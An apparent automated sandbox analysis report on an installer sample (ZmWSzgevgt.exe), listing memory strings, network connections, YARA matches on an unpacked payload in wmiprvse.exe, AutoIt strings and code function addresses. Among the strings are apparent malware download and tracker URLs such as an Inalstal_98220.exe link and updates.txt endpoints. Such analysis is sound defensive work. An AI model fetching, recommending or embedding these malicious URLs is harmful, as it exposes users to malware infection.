Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rca.e-szigno.hu/ocsp0-
Source: a1.exe, 00000014.00000003.2316445533.000000000436D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://repository.luxtrust.lu0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://repository.tsp.zetes.com0
Source: ZmWSzgevgt.tmp, 00000001.00000003.2010247622.0000000003490000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4550403877.000000000242C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sizestep.online/tracker/thank_you.php?trk=2598
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://staranalytics.io/EULA.html
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.certicamara.com/marco-legal0Z
Source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSI5D6E.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr, MSI80A7.tmp.21.dr, MSICDCA.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: https://www.advancedinstaller.com
Source: setup.tmp, 00000004.00000002.4546268057.0000000000831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.agenment.cloud/
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005948000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.agenment.cloud/win/Inalstal_98220.exe
Source: setup.tmp, 00000004.00000002.4557910495.0000000005948000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.agenment.cloud/win/Inalstal_98220.exe2
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.anf.es/AC/ACTAS/789230
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.anf.es/AC/ANFServerCA.crl0
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.anf.es/address/)1(0&
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.biphic.com/6X6S73Q/KLT11XW/?sub1=2598&sub2=2598
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2548000487.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: v113.exe, 00000020.00000003.2567036448.000000000275D000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2730463369.00000000013C4000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2737590571.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000002.2751901417.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2734012036.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2561830112.000000000134F000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2649322052.00000000013C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hulkisbulish.com/updates.txt
Source: setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.inlogbrowser.
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.inlogbrowser.com/eula.txt
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.inlogbrowser.com/pp.txt
Source: ZmWSzgevgt.exe, 00000000.00000003.2006403390.0000000002560000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2006775395.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000000.2008194649.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-1L53Q.tmp.7.dr	String found in binary or memory: https://www.innosetup.com/
Source: v113.exe, 00000020.00000003.2567036448.000000000275D000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2730463369.00000000013C4000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2737590571.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2734012036.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2561830112.000000000134F000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2649322052.00000000013C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.marvellover.com/updates.txt
Source: a1.exe, 00000014.00000003.2316551653.000000000437D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.netlock.hu/docs/
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.netlock.net/docs
Source: ZmWSzgevgt.exe, 00000000.00000003.2006403390.0000000002560000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2006775395.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000000.2008194649.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-1L53Q.tmp.7.dr	String found in binary or memory: https://www.remobjects.com/ps
Source: setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.termsfeed.com/live/4bb495c
Source: setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c
Source: setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe
Source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSI5D6E.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr, MSI80A7.tmp.21.dr, MSICDCA.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: https://www.thawte.com/cps0/
Source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSI5D6E.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr, MSI80A7.tmp.21.dr, MSICDCA.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: https://www.thawte.com/repository0W
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867

Source: unknown	HTTPS traffic detected: 172.67.198.151:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.23.108.224:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.38.232:443 -> 192.168.2.5:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.109:443 -> 192.168.2.5:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.38.232:443 -> 192.168.2.5:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.100:443 -> 192.168.2.5:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.38.232:443 -> 192.168.2.5:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.38.232:443 -> 192.168.2.5:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.138:443 -> 192.168.2.5:50188 version: TLS 1.2

Source: Yara match	File source: 14.2.wmiprvse.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.wmiprvse.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wmiprvse.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp, type: DROPPED

System Summary

Binary is likely a compiled AutoIt script file

Source: a3.exe.4.dr	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_8f5168a2-2
Source: a3.exe.4.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_129b37d4-b

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00276110 GetSystemDirectoryW,_wcschr,LoadLibraryExW,NtdllDefWindowProc_W,	20_2_00276110
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002F5A30 NtdllDefWindowProc_W,	20_2_002F5A30
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001C6020 NtdllDefWindowProc_W,	20_2_001C6020
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001C40C0 NtdllDefWindowProc_W,	20_2_001C40C0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001D6100 NtdllDefWindowProc_W,	20_2_001D6100
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00214468 NtdllDefWindowProc_W,	20_2_00214468
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002144DE NtdllDefWindowProc_W,	20_2_002144DE
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0021459D NtdllDefWindowProc_W,	20_2_0021459D
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001C6650 NtdllDefWindowProc_W,	20_2_001C6650
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0020A7E0 NtdllDefWindowProc_W,	20_2_0020A7E0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001C6C10 NtdllDefWindowProc_W,	20_2_001C6C10
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001D0F80 NtdllDefWindowProc_W,DeleteCriticalSection,	20_2_001D0F80
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001CD080 NtdllDefWindowProc_W,	20_2_001CD080
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001CD1F0 NtdllDefWindowProc_W,	20_2_001CD1F0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001C34E0 NtdllDefWindowProc_W,GlobalAlloc,GlobalLock,GlobalUnlock,NtdllDefWindowProc_W,	20_2_001C34E0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00213950 NtdllDefWindowProc_W,	20_2_00213950
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001C3A90 NtdllDefWindowProc_W,GlobalAlloc,GlobalLock,GlobalUnlock,NtdllDefWindowProc_W,	20_2_001C3A90
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0025BC10 NtdllDefWindowProc_W,	20_2_0025BC10
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001E1F90 NtdllDefWindowProc_W,	20_2_001E1F90

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_BITS_5556_1578979781

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSIE2F.tmp

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_1001BCE7	4_2_1001BCE7
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10028081	4_2_10028081
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_1001B0D0	4_2_1001B0D0
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_1001D927	4_2_1001D927
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_100219D6	4_2_100219D6
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_1002227D	4_2_1002227D
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10022AA9	4_2_10022AA9
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10028B05	4_2_10028B05
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_100285C3	4_2_100285C3
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10022689	4_2_10022689
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10021EA9	4_2_10021EA9
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10029EC2	4_2_10029EC2
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002F5320	20_2_002F5320
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001CF3C0	20_2_001CF3C0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002CFBF0	20_2_002CFBF0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002EFE20	20_2_002EFE20
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001D80C0	20_2_001D80C0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001DC200	20_2_001DC200
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_003643E1	20_2_003643E1
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0036C779	20_2_0036C779
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001DAAE0	20_2_001DAAE0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001D8CD0	20_2_001D8CD0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001D2D70	20_2_001D2D70
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00296F50	20_2_00296F50
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001B3010	20_2_001B3010
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00359190	20_2_00359190
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00213310	20_2_00213310
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001E94C0	20_2_001E94C0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001CD630	20_2_001CD630
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0036188A	20_2_0036188A
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0028FC40	20_2_0028FC40
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00351F0C	20_2_00351F0C
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A54D2C0	20_2_6A54D2C0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A54E810	20_2_6A54E810
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A576830	20_2_6A576830
